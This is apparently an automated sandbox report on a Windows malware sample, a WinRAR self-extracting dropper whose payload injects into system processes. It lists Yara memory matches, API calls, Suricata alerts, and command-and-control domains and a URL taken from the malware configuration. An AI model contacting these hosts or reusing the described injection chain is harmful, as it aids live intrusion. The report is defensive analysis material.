              Source: Yara matchFile source: 00000008.00000003.2317912887.0000000001392000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2483527718.0000000001217000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2700890863.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319145641.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472452372.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612483906.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701110782.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701716663.000000000190E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612600156.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612159299.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2474361589.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612655978.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2613660065.0000000001428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2487321915.0000000003B61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472783600.0000000001219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319234756.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319290240.0000000001424000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319869337.00000000013C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2487925881.00000000011BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2483338593.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.4573249463.00000000027D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612834637.00000000014E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612775741.00000000014B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701553801.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2318005189.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2473152784.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2613533809.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472845614.0000000001246000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.4574062995.0000000004640000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2613039958.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701767663.000000000193C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472573703.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2317954009.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              AI detected suspicious sample
              Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.9% probability
              Source: mJIvCBk5vF.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
              Source: mJIvCBk5vF.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
              Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: mJIvCBk5vF.exe
              Source: Binary string: chkdsk.pdbGCTL source: RegSvcs.exe, 00000018.00000002.2514629045.0000000000E60000.00000040.10000000.00040000.00000000.sdmp, RegSvcs.exe, 00000018.00000002.2514387448.0000000000A38000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000002.2521122638.00000000008B0000.00000040.80000000.00040000.00000000.sdmp
              Source: Binary string: netstat.pdbGCTL source: RegSvcs.exe, 00000017.00000002.2521222774.0000000001C30000.00000040.10000000.00040000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.2519204603.000000000137E000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000002.2522896515.0000000000A20000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000021.00000002.2801106995.0000000000AAE000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000002.2804245284.0000000000A20000.00000040.80000000.00040000.00000000.sdmp
              Source: Binary string: cmmon32.pdb source: RegSvcs.exe, 0000001D.00000002.2647688786.0000000001037000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000001D.00000002.2647508110.0000000000FF0000.00000040.10000000.00040000.00000000.sdmp, cmmon32.exe, 0000001E.00000002.2651459598.0000000000860000.00000040.80000000.00040000.00000000.sdmp
              Source: Binary string: netstat.pdb source: RegSvcs.exe, 00000017.00000002.2521222774.0000000001C30000.00000040.10000000.00040000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.2519204603.000000000137E000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000002.2522896515.0000000000A20000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000021.00000002.2801106995.0000000000AAE000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000002.2804245284.0000000000A20000.00000040.80000000.00040000.00000000.sdmp
              Source: Binary string: cmmon32.pdbGCTL source: RegSvcs.exe, 0000001D.00000002.2647688786.0000000001037000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000001D.00000002.2647508110.0000000000FF0000.00000040.10000000.00040000.00000000.sdmp, cmmon32.exe, 0000001E.00000002.2651459598.0000000000860000.00000040.80000000.00040000.00000000.sdmp
              Source: Binary string: RegSvcs.pdb, source: RegSvcs.exe, 0000000F.00000000.2318235491.0000000000322000.00000002.00000001.01000000.0000000C.sdmp, explorer.exe, 00000011.00000002.4590149055.0000000010BFF000.00000004.80000000.00040000.00000000.sdmp, raserver.exe, 00000012.00000002.4573504340.0000000002ADB000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000012.00000002.4575129664.0000000004DEF000.00000004.10000000.00040000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2472003980.0000000001170000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2612159299.000000000140A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2700890863.00000000018F0000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: chkdsk.pdb source: RegSvcs.exe, 00000018.00000002.2514629045.0000000000E60000.00000040.10000000.00040000.00000000.sdmp, RegSvcs.exe, 00000018.00000002.2514387448.0000000000A38000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000002.2521122638.00000000008B0000.00000040.80000000.00040000.00000000.sdmp
              Source: Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000010.00000002.2380308625.0000000001310000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000012.00000003.2379954726.0000000004540000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000012.00000002.4574412680.0000000004A3E000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000012.00000003.2381808979.00000000046F7000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000012.00000002.4574412680.00000000048A0000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000002.2522229503.000000000559E000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000003.2516484711.000000000509F000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000003.2518601260.000000000524F000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000002.2522229503.0000000005400000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000002.2522921614.0000000002BE0000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000003.2521119034.0000000002A35000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000002.2522921614.0000000002D7E000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000003.2518892406.0000000000743000.00000004.00000020.00020000.00000000.sdmp, cmmon32.exe, 0000001E.00000002.2652027829.0000000004FE0000.00000040.00001000.00020000.00000000.sdmp, cmmon32.exe, 0000001E.00000003.2646896480.0000000004C7E000.00000004.00000020.00020000.00000000.sdmp, cmmon32.exe, 0000001E.00000003.2650078509.0000000004E2D000.00000004.00000020.00020000.00000000.sdmp, cmmon32.exe, 0000001E.00000002.2652027829.000000000517E000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000002.2804447916.0000000002EE0000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000003.2801121575.0000000002A76000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000002.2804447916.000000000307E000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000003.2802882422.0000000002D23000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000010.00000002.2380308625.0000000001310000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000012.00000003.2379954726.0000000004540000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000012.00000002.4574412680.0000000004A3E000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000012.00000003.2381808979.00000000046F7000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000012.00000002.4574412680.00000000048A0000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000002.2522229503.000000000559E000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000003.2516484711.000000000509F000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000003.2518601260.000000000524F000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000002.2522229503.0000000005400000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000002.2522921614.0000000002BE0000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000003.2521119034.0000000002A35000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000002.2522921614.0000000002D7E000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000003.2518892406.0000000000743000.00000004.00000020.00020000.00000000.sdmp, cmmon32.exe, 0000001E.00000002.2652027829.0000000004FE0000.00000040.00001000.00020000.00000000.sdmp, cmmon32.exe, 0000001E.00000003.2646896480.0000000004C7E000.00000004.00000020.00020000.00000000.sdmp, cmmon32.exe, 0000001E.00000003.2650078509.0000000004E2D000.00000004.00000020.00020000.00000000.sdmp, cmmon32.exe, 0000001E.00000002.2652027829.000000000517E000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000002.2804447916.0000000002EE0000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000003.2801121575.0000000002A76000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000002.2804447916.000000000307E000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000003.2802882422.0000000002D23000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: RAServer.pdb source: RegSvcs.exe, 00000010.00000002.2380950333.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, RegSvcs.exe, 00000010.00000002.2379921181.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000012.00000002.4573018093.0000000000470000.00000040.80000000.00040000.00000000.sdmp
              Source: Binary string: RegSvcs.pdb source: RegSvcs.exe, 0000000F.00000000.2318235491.0000000000322000.00000002.00000001.01000000.0000000C.sdmp, explorer.exe, 00000011.00000002.4590149055.0000000010BFF000.00000004.80000000.00040000.00000000.sdmp, raserver.exe, 00000012.00000002.4573504340.0000000002ADB000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000012.00000002.4575129664.0000000004DEF000.00000004.10000000.00040000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2472003980.0000000001170000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2612159299.000000000140A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2700890863.00000000018F0000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: RAServer.pdbGCTL source: RegSvcs.exe, 00000010.00000002.2380950333.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, RegSvcs.exe, 00000010.00000002.2379921181.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000012.00000002.4573018093.0000000000470000.00000040.80000000.00040000.00000000.sdmp
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00D9F826 __EH_prolog3_GS,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,0_2_00D9F826
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DB1630 __EH_prolog3_GS,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,0_2_00DB1630
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DC1FF8 FindFirstFileExA,0_2_00DC1FF8
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_0077E387 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,8_2_0077E387
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_0077D836 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,8_2_0077D836
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_0077DB69 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,8_2_0077DB69
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_00789F9F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,8_2_00789F9F
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_0078A0FA SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,8_2_0078A0FA
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 4x nop then pop esi8_3_0137A6C3
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 4x nop then pop esi8_3_013A8ACB
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 4x nop then pop esi8_3_013A8ACB
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 4x nop then pop esi8_3_013A8ACB
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 4x nop then pop esi8_3_013A8ACB
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 4x nop then pop esi16_2_0041724B

              Networking

              barindex
              C2 URLs / IPs found in malware configuration
              Source: Malware configuration extractorURLs: www.ybokiesite.online/o52o/
              Tries to resolve many domain names, but no domain seems valid
              Source: unknownDNS traffic detected: query: www.indseniorjob881.click replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.ee.zone replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.teplero.shop replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.ichaellee.info replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.ybokiesite.online replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.flegendarycap50.online replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.xs5.buzz replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.jg-bw.app replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.eal-estate-90767.bond replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.avannahholcomb.shop replaycode: Name error (3)
              Uses netstat to query active network connections and open ports
              Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\NETSTAT.EXE "C:\Windows\SysWOW64\NETSTAT.EXE"
              Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.6:49945
              Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.6:49746
              Source: unknownDNS traffic detected: query: www.indseniorjob881.click replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.ee.zone replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.teplero.shop replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.ichaellee.info replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.ybokiesite.online replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.flegendarycap50.online replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.xs5.buzz replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.jg-bw.app replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.eal-estate-90767.bond replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: www.avannahholcomb.shop replaycode: Name error (3)
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: global trafficDNS traffic detected: DNS query: www.ybokiesite.online
              Source: global trafficDNS traffic detected: DNS query: www.teplero.shop
              Source: global trafficDNS traffic detected: DNS query: www.ichaellee.info
              Source: global trafficDNS traffic detected: DNS query: www.flegendarycap50.online
              Source: global trafficDNS traffic detected: DNS query: www.avannahholcomb.shop
              Source: global trafficDNS traffic detected: DNS query: www.ee.zone
              Source: global trafficDNS traffic detected: DNS query: www.jg-bw.app
              Source: global trafficDNS traffic detected: DNS query: www.eal-estate-90767.bond
              Source: global trafficDNS traffic detected: DNS query: www.indseniorjob881.click
              Source: global trafficDNS traffic detected: DNS query: www.xs5.buzz
              Source: explorer.exe, 00000011.00000002.4582512760.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4582512760.000000000973C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000136D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001371000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2421997717.000000000119E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe.exe.21.drString found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000136D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001371000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2421997717.000000000119E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe.exe.21.drString found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000136D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001371000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2421997717.000000000119E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe.exe.21.drString found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000136D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001371000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2421997717.000000000119E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe.exe.21.drString found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000136D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001371000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2421997717.000000000119E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe.exe.21.drString found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
              Source: explorer.exe, 00000011.00000002.4582512760.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4582512760.000000000973C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
              Source: explorer.exe, 00000011.00000002.4582512760.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4582512760.000000000973C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
              Source: explorer.exe, 00000011.00000002.4582512760.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4582512760.000000000973C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
              Source: explorer.exe, 00000011.00000002.4582512760.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000962B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000136D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001371000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2421997717.000000000119E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe.exe.21.drString found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000136D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001371000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2421997717.000000000119E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe.exe.21.drString found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000136D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001371000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2421997717.000000000119E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe.exe.21.drString found in binary or memory: http://ocsp2.globalsign.com/rootr306
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000136D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001371000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2421997717.000000000119E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe.exe.21.drString found in binary or memory: http://ocsp2.globalsign.com/rootr606
              Source: explorer.exe, 00000011.00000000.2323483294.00000000028A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000011.00000000.2329652262.0000000007B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000011.00000000.2329675046.0000000007B60000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://schemas.micro
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000136D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001371000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2421997717.000000000119E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe.exe.21.drString found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000136D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001371000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2421997717.000000000119E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe.exe.21.drString found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.66hf918cz.autos
              Source: explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.66hf918cz.autos/o52o/
